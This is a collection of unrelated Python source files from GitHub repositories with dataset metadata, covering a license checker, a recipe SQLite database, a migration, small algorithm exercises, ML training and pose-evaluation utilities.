eval(config['License']['application'])\n self.license_command = eval(config['License']['license_command'])\n self.module_dict = eval(config['License']['module_dict'])\n\n def get_license_info(self):\n info = ''\n for i in self.server_list:\n command = self.license_command + i\n p = subprocess.Popen('\"%s\" %s' % (self.application, command), shell=True, stdout=subprocess.PIPE,\n stdin=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n out = p.stdout.read()\n info += out\n\n info = info.split(\"\\n\")\n\n return info\n\n def print_license_info(self):\n print('license info: ', self.license_info)\n\n def license_usage_dict(self, module_dict):\n self.license_dict = {} # clear self.license_dict\n for item in module_dict.keys(): # create empty list(reservoir) to reserve license number\n self.license_dict[item] = [0, 0]\n for row in self.license_info: # loop self.license_info\n for k, v in module_dict.items(): # loop module_dict\n for i in v: # loop the list inside module_dict\n self.check_usage(row, i, self.license_dict[k])\n print('license dict:', self.license_dict)\n\n def check_usage(self, info, flag, reserv_list):\n \"\"\"\n check if flag in info, if does, add one to total_lic\n if it is being used, add one to used_lic\n :param info:\n :param flag:\n :param reserv_list:\n :return:\n \"\"\"\n if flag in info:\n total_lic = int(info.split(\"of\")[2][1])\n used_lic = int(info.split(\"of\")[3][1])\n reserv_list[0] += total_lic\n reserv_list[1] += total_lic - used_lic\n\n def is_license(self, license_name):\n try:\n usable_license = self.license_dict[license_name][1]\n # print('license \"%s\" left:' % (license_name), usable_license)\n except Exception as e:\n print('error:', e)\n print('the license you type is not exist')\n else:\n if usable_license:\n return True\n else:\n return False\n\n def is_enough(self, required_cores):\n solver_left = self.license_dict['solver'][1]\n if not solver_left:\n # print('not enough solver')\n return False\n hpc_left = self.license_dict['hpc'][1]\n if hpc_left:\n core_left = 4 + 8 * 4 ** (hpc_left - 1)\n else:\n core_left = 4\n\n if required_cores > core_left:\n # print('not enough HPC')\n return False\n else:\n return True\n\n def arg_parser(self):\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--cores\", help=\"show if have enough cores compare with -c XX; \"\n \"Use Example: -c 4\")\n parser.add_argument(\"-l\", \"--license\", help=\"show if have enough license compare with -l XX; \"\n \"Use Example: -l pre_post; here only have 4 kinds of license:\"\n \"'spaceclaim', 'hpc', 'pre_post', 'solver'\")\n args = parser.parse_args()\n if args.cores:\n cores = int(args.cores)\n self.return_value = self.is_enough(cores)\n if args.license:\n self.return_value = self.is_license(args.license)\n\n\nif __name__ == '__main__':\n return_value = bool()\n ansys_license = LicenseAnsys()\n print(ansys_license.return_value)","repo_name":"qweaxdzsc/fluent_add_on","sub_path":"fluent_queue/func/func_ansys_license.py","file_name":"func_ansys_license.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25006402135","text":"import ast\nimport sqlite3\n\nfrom collections import ChainMap\nfrom typing import Any\n\nfrom src.common.exceptions import CriticalError, IngredientNotFound, RecipeNotFound\nfrom src.common.enums import DatabaseFileName, Directories, DatabaseTableName, DatabaseTypes\nfrom src.common.utils import ensure_dir\n\nfrom src.entities.ingredient import Ingredient, in_metadata\nfrom src.entities.mealprep import Mealprep, mealprep_metadata\nfrom src.entities.nutritional_values import nv_metadata, NutritionalValues\nfrom src.entities.recipe import Recipe, recipe_metadata\n\ncolumn_type_dict : dict = {\n str : DatabaseTypes.TEXT.value,\n float : DatabaseTypes.REAL.value,\n bool : DatabaseTypes.TEXT.value,\n list : DatabaseTypes.TEXT.value\n}\n\n\nclass UnencryptedDatabase:\n \"\"\"UnencryptedDatabase is an SQLite3 database for storing non-sensitive data.\n\n The database is intended to be public and shareable, thus it is not encrypted.\n \"\"\"\n\n def __init__(self,\n table_name : DatabaseTableName,\n db_metadata : dict\n ) -> None:\n \"\"\"Create new UnencryptedDatabase object.\"\"\"\n ensure_dir(Directories.USER_DATA.value)\n self.table_name = table_name.value\n self.db_metadata = db_metadata\n self.connection = sqlite3.connect(f'{Directories.USER_DATA.value}'\n f'/{DatabaseFileName.SHARED_DATABASE.value}.sqlite3')\n self.cursor = self.connection.cursor()\n self.connection.isolation_level = None\n self.create_table()\n\n def create_table(self) -> None:\n \"\"\"Create the database table procedurally.\"\"\"\n sql_command = f'CREATE TABLE IF NOT EXISTS {self.table_name} ('\n\n for key, value in self.db_metadata.items():\n column_name = key\n data_type = value[1]\n sql_command += f\"{column_name} {column_type_dict[data_type]}, \"\n\n sql_command = sql_command[:-2] # Remove trailing comma and space\n sql_command += ')'\n\n self.cursor.execute(sql_command)\n\n def insert(self, obj: Any) -> None:\n \"\"\"Insert object into the database.\"\"\"\n keys = list(self.db_metadata.keys())\n values = [getattr(obj, key) for key in keys]\n\n sql_command = f'INSERT INTO {self.table_name} ('\n sql_command += ', '.join(keys)\n sql_command += ') VALUES ('\n sql_command += ', '.join(len(keys) * ['?'])\n sql_command += ')'\n\n self.cursor.execute(sql_command, values)\n self.cursor.connection.commit()\n\n def get_list_of_entries(self) -> list:\n \"\"\"Get list of entries in the database.\"\"\"\n sql_command = 'SELECT '\n sql_command += ', '.join(list(self.db_metadata.keys()))\n sql_command += f' FROM {self.table_name}'\n\n return self.cursor.execute(sql_command).fetchall()\n\n\nclass IngredientDatabase(UnencryptedDatabase):\n \"\"\"\\\n IngredientDatabase contains the data including name\n and nutritional values of each ingredient.\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Create new IngredientDatabase.\"\"\"\n super().__init__(table_name=DatabaseTableName.INGREDIENTS,\n db_metadata=dict(ChainMap(nv_metadata, in_metadata)))\n\n def insert(self, obj: Ingredient) -> None:\n \"\"\"Insert Ingredient into the database.\"\"\"\n in_keys = list(in_metadata.keys())\n nv_keys = list(nv_metadata.keys())\n in_values = [getattr(obj, key) for key in in_keys]\n nv_values = [getattr(obj.nv_per_g, key) for key in nv_keys]\n no_values = len(in_keys + nv_keys)\n\n sql_command = f'INSERT INTO {self.table_name} ('\n sql_command += ', '.join(in_keys + nv_keys)\n sql_command += ') VALUES ('\n sql_command += ', '.join(no_values * ['?'])\n sql_command += ')'\n\n self.cursor.execute(sql_command, in_values + nv_values)\n self.cursor.connection.commit()\n\n def get_list_of_ingredient_names(self) -> list:\n \"\"\"Get list of ingredient names.\"\"\"\n sql_command = f'SELECT Name FROM {self.table_name}'\n results = [r[0] for r in self.cursor.execute(sql_command).fetchall()]\n return results\n\n def get_list_of_ingredients(self) -> list:\n \"\"\"Get list of ingredients in the database.\"\"\"\n return [self.get_ingredient(name) for name in self.get_list_of_ingredient_names()]\n\n def get_ingredient(self, name: str) -> Ingredient:\n \"\"\"Get Ingredient from database by name.\"\"\"\n keys = list(self.db_metadata.keys())[1:]\n\n sql_command = 'SELECT '\n sql_command += ', '.join(keys)\n sql_command += f' FROM {self.table_name}'\n sql_command += f\" WHERE {self.db_metadata['name'][0]} == '{name}'\"\n\n try:\n result = self.cursor.execute(sql_command).fetchall()[0]\n except IndexError:\n raise IngredientNotFound(f\"Could not find ingredient '{name}'.\") from IndexError\n\n ingredient = Ingredient(name, NutritionalValues(*result[2:]),\n grams_per_unit=result[0],\n fixed_portion_g=result[1])\n\n return ingredient\n\n def remove_ingredient(self, ingredient: Ingredient) -> None:\n \"\"\"Remove ingredient from database.\"\"\"\n if not isinstance(ingredient, Ingredient):\n raise CriticalError(f\"Provided parameter was not an Ingredient but {type(ingredient)} \")\n\n if not self.has_ingredient(ingredient):\n raise IngredientNotFound(f\"No ingredient {ingredient.name} in database.\")\n\n sql_command = f'DELETE FROM {self.table_name}'\n sql_command += f\" WHERE name == '{ingredient.name}'\"\n self.cursor.execute(sql_command)\n\n def replace_ingredient(self, ingredient: Ingredient) -> None:\n \"\"\"Replace ingredient in database.\"\"\"\n if not isinstance(ingredient, Ingredient):\n raise CriticalError(f\"Provided parameter was not an Ingredient but\"\n f\" {type(ingredient)} \")\n\n self.remove_ingredient(ingredient)\n self.insert(ingredient)\n\n def has_ingredient(self, purp_ingredient: Ingredient) -> bool:\n \"\"\"Returns True if the ingredient exists in the database.\"\"\"\n if not isinstance(purp_ingredient, Ingredient):\n raise CriticalError(f\"Provided parameter was not an Ingredient but \"\n f\"{type(purp_ingredient)} \")\n\n for ingredient in self.get_list_of_ingredients():\n if purp_ingredient == ingredient:\n return True\n return False\n\n def has_ingredients(self) -> bool:\n \"\"\"Return True if database contains at least one ingredient.\"\"\"\n return any(self.get_list_of_ingredient_names())\n\n\nclass RecipeDatabase(UnencryptedDatabase):\n \"\"\"Recipe database contains a repository of shared recipes.\n\n The database is intended to be public and shareable, thus it is not encrypted.\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Create new RecipeDatabase.\"\"\"\n super().__init__(table_name=DatabaseTableName.RECIPES, db_metadata=recipe_metadata)\n\n def get_list_of_recipe_names(self) -> list:\n \"\"\"Get list of recipe names.\"\"\"\n return [name for name, *_ in self.get_list_of_entries()]\n\n def get_list_of_recipes(self) -> list:\n \"\"\"Get list of recipes.\"\"\"\n return [self.get_recipe(name) for name in self.get_list_of_recipe_names()]\n\n def get_list_of_mealprep_recipes(self) -> list:\n \"\"\"Get list of mealprep recipes.\"\"\"\n recipes = [self.get_recipe(name) for name in self.get_list_of_recipe_names()]\n return [recipe for recipe in recipes if recipe.is_mealprep]\n\n def get_list_of_single_recipes(self) -> list:\n \"\"\"Get list of single recipes.\"\"\"\n recipes = [self.get_recipe(name) for name in self.get_list_of_recipe_names()]\n return [recipe for recipe in recipes if not recipe.is_mealprep]\n\n def get_recipe(self,\n name : str,\n author : str = ''\n ) -> Recipe:\n \"\"\"Get Recipe from database by name (and author).\"\"\"\n keys = ', '.join(list(self.db_metadata.keys())[1:])\n sql_command = f\"SELECT {keys} FROM {self.table_name} WHERE name == '{name}'\"\n\n if author:\n sql_command += f\" AND author == '{author}'\"\n\n results = self.cursor.execute(sql_command).fetchall()\n\n if results:\n for result in results:\n author, in_names, ac_names, is_mealprep = result\n\n in_names = ([] if in_names == 'None' else\n in_names.split('\\x1f') if '\\x1f' in in_names else [in_names])\n ac_names = ([] if ac_names == 'None' else\n ac_names.split('\\x1f') if '\\x1f' in ac_names else [ac_names])\n\n return Recipe(name, author, in_names, ac_names, ast.literal_eval(is_mealprep))\n\n author_info = f\" by '{author}'\" if author else ''\n raise RecipeNotFound(f\"Could not find recipe '{name}'{author_info}.\")\n\n def insert_recipe(self, recipe: Recipe) -> None:\n \"\"\"Insert Recipe into the database.\"\"\"\n if not isinstance(recipe, Recipe):\n raise CriticalError(f\"Provided parameter was not an Recipe but {type(recipe)} \")\n\n keys = list(self.db_metadata.keys())\n values = []\n for key, metadata in self.db_metadata.items():\n value = getattr(recipe, key)\n\n if metadata[1] == list:\n if not value:\n value = 'None'\n elif not isinstance(value[0], str):\n value = '\\x1f'.join([v.name for v in value])\n\n if metadata[1] == bool:\n value = str(value)\n\n values.append(value)\n\n csv = ', '.join(keys)\n question_marks = ', '.join(['?' for _ in range(len(keys))])\n sql_command = f'INSERT INTO {self.table_name} ({csv}) VALUES ({question_marks})'\n\n self.cursor.execute(sql_command, values)\n self.cursor.connection.commit()\n\n def has_recipe(self, recipe: Recipe) -> bool:\n \"\"\"Returns True if recipe exists in the database.\"\"\"\n if not isinstance(recipe, Recipe):\n raise CriticalError(f\"Provided parameter was not an Recipe but {type(recipe)} \")\n\n return any(name == recipe.name for name in self.get_list_of_recipe_names())\n\n def remove_recipe(self, recipe: Recipe) -> None:\n \"\"\"Remove recipe from database.\"\"\"\n if not isinstance(recipe, Recipe):\n raise CriticalError(f\"Provided parameter was not an Recipe but {type(recipe)} \")\n\n if not self.has_recipe(recipe):\n raise RecipeNotFound(f\"No recipe {recipe.name} in database.\")\n\n sql_command = f\"DELETE FROM {self.table_name} WHERE name == '{recipe.name}'\"\n self.cursor.execute(sql_command)\n\n def replace_recipe(self, recipe: Recipe) -> None:\n \"\"\"Replace recipe in database.\"\"\"\n self.remove_recipe(recipe)\n self.insert_recipe(recipe)\n\n\nclass MealprepDatabase(UnencryptedDatabase):\n \"\"\"MealprepDatabase database contains a repository of shared mealpreps.\n\n The database is intended to be public and shareable, thus it is not encrypted.\n\n While a mealprep is somewhat personal wrt its nutritional content, we assume\n cases where the same OS account is shared for the application, means the users\n also share the same fridge content. Thus, one person cooking a meal into the fridge\n benefits everyone in the household.\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Create new MealprepDatabase.\"\"\"\n super().__init__(table_name=DatabaseTableName.MEALPREPS, db_metadata=mealprep_metadata)\n\n def get_list_of_mealprep_names(self) -> list:\n \"\"\"Get list of mealprep names.\"\"\"\n return [name for name, *_ in self.get_list_of_entries()]\n\n def get_list_of_mealpreps(self) -> list:\n \"\"\"Get list of mealpreps.\"\"\"\n return [self.get_mealprep(name) for name in self.get_list_of_mealprep_names()]\n\n def get_mealprep(self, name: str) -> Mealprep:\n \"\"\"Get Recipe from database by name.\"\"\"\n keys = ', '.join(list(self.db_metadata.keys())[1:])\n sql_command = f\"SELECT {keys} FROM {self.table_name} WHERE recipe_name == '{name}'\"\n\n try:\n result = self.cursor.execute(sql_command).fetchall()[0]\n except IndexError:\n raise RecipeNotFound(f\"Could not find recipe '{name}'.\") from IndexError\n\n total_grams = result[0]\n cook_date = result[1]\n ingredient_grams = ast.literal_eval(result[2])\n mealprep_nv = NutritionalValues.from_serialized(result[3])\n return Mealprep(name, total_grams, cook_date, ingredient_grams, mealprep_nv)\n\n def insert_mealprep(self, mealprep: Mealprep) -> None:\n \"\"\"Insert Mealprep into the database.\"\"\"\n if not isinstance(mealprep, Mealprep):\n raise CriticalError(f\"Provided parameter was not an Mealprep but {type(mealprep)} \")\n\n keys = list(self.db_metadata.keys())\n\n values = []\n for key in self.db_metadata:\n value = getattr(mealprep, key)\n if isinstance(value, dict):\n value = str(value)\n elif isinstance(value, NutritionalValues):\n value = value.serialize()\n values.append(value)\n\n csv = ', '.join(keys)\n question_marks = ', '.join(['?' for _ in range(len(keys))])\n\n sql_command = f'INSERT INTO {self.table_name} ({csv}) VALUES ({question_marks})'\n\n self.cursor.execute(sql_command, values)\n self.cursor.connection.commit()\n\n def has_mealprep(self, mealprep: Mealprep) -> bool:\n \"\"\"Returns True if the mealprep exists in the database.\"\"\"\n if not isinstance(mealprep, Mealprep):\n raise CriticalError(f\"Provided parameter was not an Mealprep but {type(mealprep)} \")\n\n return any(name == mealprep.recipe_name for name in self.get_list_of_mealprep_names())\n\n def remove_mealprep(self, mealprep: Mealprep) -> None:\n \"\"\"Remove mealprep from the database.\"\"\"\n if not isinstance(mealprep, Mealprep):\n raise CriticalError(f\"Provided parameter was not an Mealprep but {type(mealprep)} \")\n\n if not self.has_mealprep(mealprep):\n raise RecipeNotFound(f\"No mealprep {mealprep.recipe_name} in database.\")\n\n sql_command = f'DELETE FROM {self.table_name}'\n sql_command += f\" WHERE recipe_name == '{mealprep.recipe_name}'\"\n self.cursor.execute(sql_command)\n\n def replace_mealprep(self, mealprep: Mealprep) -> None:\n \"\"\"Replace mealprep in the database.\"\"\"\n self.remove_mealprep(mealprep)\n self.insert_mealprep(mealprep)\n","repo_name":"MarkusOttela/ot-harjoitustyo","sub_path":"src/database/unencrypted_database.py","file_name":"unencrypted_database.py","file_ext":"py","file_size_in_byte":14872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7785904368","text":"\"\"\"added feedback table\n\nRevision ID: c9e3c1f43f8c\nRevises: 0286f3b12fb8\nCreate Date: 2022-05-31 22:25:38.359117\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c9e3c1f43f8c'\ndown_revision = '0286f3b12fb8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('feedback',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('message', sa.String(length=255), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('booking_id', sa.Integer(), nullable=True),\n sa.Column('created_on', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['booking_id'], ['booking.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('feedback')\n # ### end Alembic commands ###\n","repo_name":"kamau826/kamaSolo","sub_path":"migrations/versions/c9e3c1f43f8c_added_feedback_table.py","file_name":"c9e3c1f43f8c_added_feedback_table.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74379387922","text":"from collections import deque\nfrom typing import List\n\n\ndef sort_array_by_parity(nums: List[int]) -> List[int]:\n \"\"\"\n Given an integer array nums, move all the even integers at the beginning of the array followed by all\n the odd integers.\n\n Return any array that satisfies this condition.\n\n Args:\n nums: an integer array\n\n Returns:\n an array with all the even integers at the beginning of the array\n \"\"\"\n # # Solution using deque\n # queue = deque()\n #\n # for num in nums:\n # if num % 2 == 0:\n # queue.appendleft(num)\n # else:\n # queue.append(num)\n #\n # return list(queue)\n\n # # Solution using sort\n # nums.sort(key=lambda x: x % 2)\n # return nums\n\n # # Solution using two list\n # even = []\n # odd = []\n #\n # for num in nums:\n # if num % 2 == 0:\n # even.append(num)\n # else:\n # odd.append(num)\n #\n # return even + odd\n\n # Solution using two pointers approach\n left, right = 0, len(nums) - 1\n\n while left < right:\n while left < right and nums[left] % 2 == 0:\n left += 1\n while left < right and nums[right] % 2 != 0:\n right -= 1\n nums[left], nums[right] = nums[right], nums[left]\n\n return nums\n\n\nif __name__ == \"__main__\":\n print(sort_array_by_parity([3, 1, 2, 4]))\n print(sort_array_by_parity([3, 1, 2, 4, 5, 9, 2]))\n print(sort_array_by_parity([8, 3, 1, 2, 4, 5, 9, 2]))\n print(sort_array_by_parity([0]))\n print(sort_array_by_parity([0, 1]))\n","repo_name":"BhupiSindhwani/python-problem-solving","sub_path":"misc/sort_array_by_parity.py","file_name":"sort_array_by_parity.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74676519762","text":"from typing import List, Tuple\n\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\n\ndef get_train_test_data(\n dataframe: pd.DataFrame, target_variables: List[str],\n test_size: float = 0.2\n ) -> Tuple[pd.DataFrame, pd.DataFrame, pd.DataFrame, pd.DataFrame]:\n \"\"\" Splits the dataset for training and testing\n\n Arguments:\n dataframe: Dataframe to be split\n target_variables: Target variables to be used by the model\n test_size: Quantity of data that will go to the test set\n \"\"\"\n features = list(dataframe.columns)\n for var in target_variables:\n features.remove(var)\n\n X = dataframe[features]\n y = dataframe[target_variables]\n\n return train_test_split(X, y, test_size=test_size, random_state=42)","repo_name":"JoaoPicolo/Portfolio-CustomerChurn","sub_path":"src/models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30370302317","text":"\n\"\"\" \n @title A Deep Semi-supervised Segmentation Approach for Thermographic Analysis of Industrial Components\n @organization Laval University\n @professor Professor Xavier Maldague\n @author Parham Nooralishahi\n @email parham.nooralishahi@gmail.com\n\"\"\"\n\nfrom comet_ml import Experiment\nfrom typing import Dict\n\nimport torch\nimport torch.optim as optim\n\nfrom ignite.engine import Engine\n\nfrom lemanchot.pipeline.core import pipeline_register\nfrom lemanchot.models import BaseModule\n\n@pipeline_register(\"wnet\")\ndef wnet_train_step__(\n engine : Engine, \n batch,\n device,\n model : BaseModule,\n criterion,\n optimizer : optim.Optimizer,\n experiment : Experiment\n) -> Dict:\n\n inputs, targets = batch\n \n inputs = inputs.to(dtype=torch.float32, device=device)\n targets = targets.to(dtype=torch.float32, device=device)\n\n criterion.prepare_loss(ref=batch[0])\n\n model.train()\n optimizer.zero_grad()\n\n masks, outputs = model(inputs)\n inputs, targets, outputs = inputs.contiguous(), targets.contiguous(), outputs.contiguous()\n\n loss = criterion(outputs, targets, inputs, masks)\n outputs = torch.tensor(torch.argmax(outputs, dim=1), dtype=targets.dtype).unsqueeze(1)\n\n loss.backward()\n optimizer.step()\n\n return {\n 'y_true' : batch[1],\n 'y_pred' : outputs,\n 'loss' : loss.item()\n }","repo_name":"parham/thermal-segmentor","sub_path":"lemanchot/pipeline/wnet.py","file_name":"wnet.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"46227736648","text":"\"\"\"Source code\nBy:Suphitsara Cheevanantaporn\n\"\"\"\ndef main():\n \"\"\"function\"\"\"\n name = input()\n if ord(name[0]) >= 65 and ord(name[0]) <= 122:\n print(\"Hello %s.\" %(name))\n else:\n print(\"สวัสดี %s\" %(name))\nmain()","repo_name":"ZeroHX/PSIT2018","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37526078920","text":"import click\n\n@click.command(name='pytn')\n@click.argument('infile', type=click.File('r'), default='-')\n@click.argument('outfile', type=click.File('w'), default='-')\ndef cli(infile, outfile):\n \"\"\"\n Reads / writes files.\n \"\"\"\n text = infile.read()\n click.echo(\"Input chars: {0}\".format(len(text)), err=True)\n click.secho(text, file=outfile, fg='green')\n\nif __name__ == '__main__':\n cli()\n","repo_name":"tylerdave/PyTN2016-Click-Tutorial","sub_path":"solutions/file_types.py","file_name":"file_types.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"3"} +{"seq_id":"14229390407","text":"import numpy as np\nimport os\nimport cv2\nimport torch\n# object evaluation metric\n# hand evaluation metric: https://github.com/shreyashampali/ho3d/blob/master/eval.py\n\n\ndef vertices_reprojection(vertices, rt, k):\n p = np.matmul(k, np.matmul(rt[:3, 0:3], vertices.T) + rt[:3, 3].reshape(-1, 1))\n p[0] = p[0] / (p[2] + 1e-5)\n p[1] = p[1] / (p[2] + 1e-5)\n return p[:2].T\n\ndef compute_ADD_s_error(pred_pose, gt_pose, obj_mesh):\n #rot_dir_z = gt_pose[:3, 2] * np.pi # N x 3\n #flipped_obj_rot_z = np.matmul(cv2.Rodrigues(rot_dir_z)[0].squeeze(),\n # gt_pose[:3, 0:3]) # 3 x 3 # flipped rot\n N = obj_mesh.shape[0]\n \n add_gt = np.matmul(gt_pose[:3, 0:3], obj_mesh.T) + gt_pose[:3, 3].reshape(-1, 1) # (3,N)\n add_gt = torch.from_numpy(add_gt.T).cuda()\n #add_gt = add_gt[None,:,:].repeat(N,1)\n add_gt = add_gt.unsqueeze(0).repeat(N,1,1)\n #add_gt_flip = np.matmul(flipped_obj_rot_z, obj_mesh.T) + gt_pose[:3, 3].reshape(-1, 1) # (3,N)\n add_pred = np.matmul(pred_pose[:3, 0:3], obj_mesh.T) + pred_pose[:3, 3].reshape(-1, 1)\n add_pred = torch.from_numpy(add_pred.T).cuda()\n add_pred = add_pred.unsqueeze(1).repeat(1,N,1)\n #is_rot_sym_objs_z = cls in [6,21,10] #mustard, bleach, potted meat\n dis = torch.norm(add_gt - add_pred, dim=2)\n add_bias = torch.mean(torch.min(dis,dim=1)[0])\n add_bias = add_bias.detach().cpu().numpy()\n #add_bias = min(np.mean(np.linalg.norm(add_gt - add_pred, axis=0), axis=0),np.mean(np.linalg.norm(add_gt_flip - add_pred, axis=0), axis=0))\n #add_bias = np.mean(np.linalg.norm(add_gt - add_pred, axis=0), axis=0)\n return add_bias\n\ndef compute_REP_error(pred_pose, gt_pose, intrinsics, obj_mesh):\n reproj_pred = vertices_reprojection(obj_mesh, pred_pose, intrinsics)\n reproj_gt = vertices_reprojection(obj_mesh, gt_pose, intrinsics)\n reproj_diff = np.abs(reproj_gt - reproj_pred)\n reproj_bias = np.mean(np.linalg.norm(reproj_diff, axis=1), axis=0)\n return reproj_bias\n\n\ndef compute_ADD_error(pred_pose, gt_pose, obj_mesh):\n add_gt = np.matmul(gt_pose[:3, 0:3], obj_mesh.T) + gt_pose[:3, 3].reshape(-1, 1) # (3,N) \n add_pred = np.matmul(pred_pose[:3, 0:3], obj_mesh.T) + pred_pose[:3, 3].reshape(-1, 1)\n add_bias = np.mean(np.linalg.norm(add_gt - add_pred, axis=0), axis=0)\n return add_bias\n\n\ndef fuse_test(output, width, height, intrinsics, bestCnt, bbox_3d, cord_upleft, affinetrans=None,hand_type=None):\n predx = output[0]\n predy = output[1]\n det_confs = output[2]\n keypoints = bbox_3d\n nH, nW, nV = predx.shape\n\n xs = predx.reshape(nH * nW, -1) * width\n ys = predy.reshape(nH * nW, -1) * height\n det_confs = det_confs.reshape(nH * nW, -1)\n gridCnt = len(xs)\n\n p2d = None\n p3d = None\n candiBestCnt = min(gridCnt, bestCnt)\n for i in range(candiBestCnt):\n bestGrids = det_confs.argmax(axis=0) # choose best N count\n validmask = (det_confs[bestGrids, list(range(nV))] > 0.5)\n xsb = xs[bestGrids, list(range(nV))][validmask]\n ysb = ys[bestGrids, list(range(nV))][validmask]\n t2d = np.concatenate((xsb.reshape(-1, 1), ysb.reshape(-1, 1)), 1)\n t3d = keypoints[validmask]\n if p2d is None:\n p2d = t2d\n p3d = t3d\n else:\n p2d = np.concatenate((p2d, t2d), 0)\n p3d = np.concatenate((p3d, t3d), 0)\n det_confs[bestGrids, list(range(nV))] = 0\n\n if len(p3d) < 6:\n R = np.eye(3)\n T = np.array([0, 0, 1]).reshape(-1, 1)\n rt = np.concatenate((R, T), 1)\n return rt, p2d\n\n p2d[:, 0] += cord_upleft[0]\n p2d[:, 1] += cord_upleft[1]\n if affinetrans is not None:\n affinetrans = np.linalg.inv(affinetrans)\n homp2d = np.concatenate([p2d, np.ones([np.array(p2d).shape[0], 1])], 1)\n p2d = affinetrans.dot(homp2d.transpose()).transpose()[:, :2]\n if hand_type == \"left\":\n p2d[:,0] = np.array(640,dtype=np.float32) - p2d[:,0] - 1\n retval, rot, trans, inliers = cv2.solvePnPRansac(p3d, p2d, intrinsics, None, flags=cv2.SOLVEPNP_EPNP)\n if not retval:\n R = np.eye(3)\n T = np.array([0, 0, 1]).reshape(-1, 1)\n else:\n R = cv2.Rodrigues(rot)[0] # convert to rotation matrix\n T = trans.reshape(-1, 1)\n rt = np.concatenate((R, T), 1)\n return rt, p2d\n\n\ndef eval_batch_obj(batch_output, obj_bbox,\n obj_pose, mesh_dict, obj_bbox3d, obj_cls,\n cam_intr, REP_res_dic, ADD_res_dic, bestCnt=10, batch_affinetrans=None,batch_hand_type=None):\n # bestCnt: choose best N count for fusion\n bs = batch_output[0].shape[0]\n obj_bbox = obj_bbox.cpu().numpy()\n for i in range(bs):\n output = [batch_output[0][i], batch_output[1][i], batch_output[2][i]]\n bbox = obj_bbox[i]\n width, height = bbox[2] - bbox[0], bbox[3] - bbox[1]\n cord_upleft = [bbox[0], bbox[1]]\n intrinsics = cam_intr[i]\n bbox_3d = obj_bbox3d[i]\n if torch.is_tensor(obj_cls[i]):\n cls = int(obj_cls[i])\n else:\n cls = obj_cls[i]\n mesh = mesh_dict[cls]\n hand_type=batch_hand_type[i]\n if batch_affinetrans is not None:\n affinetrans = batch_affinetrans[i]\n else:\n affinetrans = None\n pred_pose, p2d = fuse_test(output, width, height, intrinsics, bestCnt, bbox_3d, cord_upleft,\n affinetrans=affinetrans,hand_type=hand_type)\n # calculate REP and ADD error\n REP_error = compute_REP_error(pred_pose, obj_pose[i], intrinsics, mesh)\n if cls in [13,16,20,21]:\n ADD_error = compute_ADD_s_error(pred_pose, obj_pose[i], mesh)\n else:\n ADD_error = compute_ADD_error(pred_pose, obj_pose[i], mesh)\n REP_res_dic[cls].append(REP_error)\n ADD_res_dic[cls].append(ADD_error)\n return REP_res_dic, ADD_res_dic\n\n\ndef eval_object_pose(REP_res_dic, ADD_res_dic, diameter_dic, outpath, unseen_objects=[], epoch=None):\n # REP_res_dic: key: object class, value: REP error distance\n # ADD_res_dic: key: object class, value: ADD error distance\n\n # object result file\n if not os.path.exists(outpath):\n os.makedirs(outpath)\n log_path = os.path.join(outpath, \"object_result.txt\") if epoch is None else os.path.join(outpath, \"object_result_epoch{}.txt\".format(epoch))\n log_file = open(log_path, \"w+\")\n\n REP_5 = {}\n for k in REP_res_dic.keys():\n REP_5[k] = np.mean(np.array(REP_res_dic[k]) <= 5)\n\n ADD_10 = {}\n for k in ADD_res_dic.keys():\n ADD_10[k] = np.mean(np.array(ADD_res_dic[k]) <= 0.1 * diameter_dic[k])\n\n # for k in ADD_res_dic.keys():\n # if k in unseen_objects:\n # REP_5.pop(k, None)\n # ADD_10.pop(k, None)\n\n # write down result\n print('REP-5', file=log_file)\n print(REP_5, file=log_file)\n print('ADD-10', file=log_file)\n print(ADD_10, file=log_file)\n log_file.close()\n return ADD_10, REP_5\n\ndef eval_hand_pose_result(hand_eval_result,outpath, epoch):\n #hand result file\n if not os.path.exists(outpath):\n os.makedirs(outpath)\n log_path = os.path.join(outpath, \"hand_result.txt\") if epoch is None else os.path.join(outpath, \"hand_result_epoch{}.txt\".format(epoch))\n log_file = open(log_path, \"w+\")\n print('mpjpe', file=log_file)\n print(np.mean(np.array(hand_eval_result[0])), file=log_file)\n print('pa-mpjpe', file=log_file)\n print(np.mean(np.array(hand_eval_result[1])), file=log_file)\n\n log_file.close()\n\n\ndef rigid_transform_3D(A, B):\n n, dim = A.shape\n centroid_A = np.mean(A, axis = 0)\n centroid_B = np.mean(B, axis = 0)\n H = 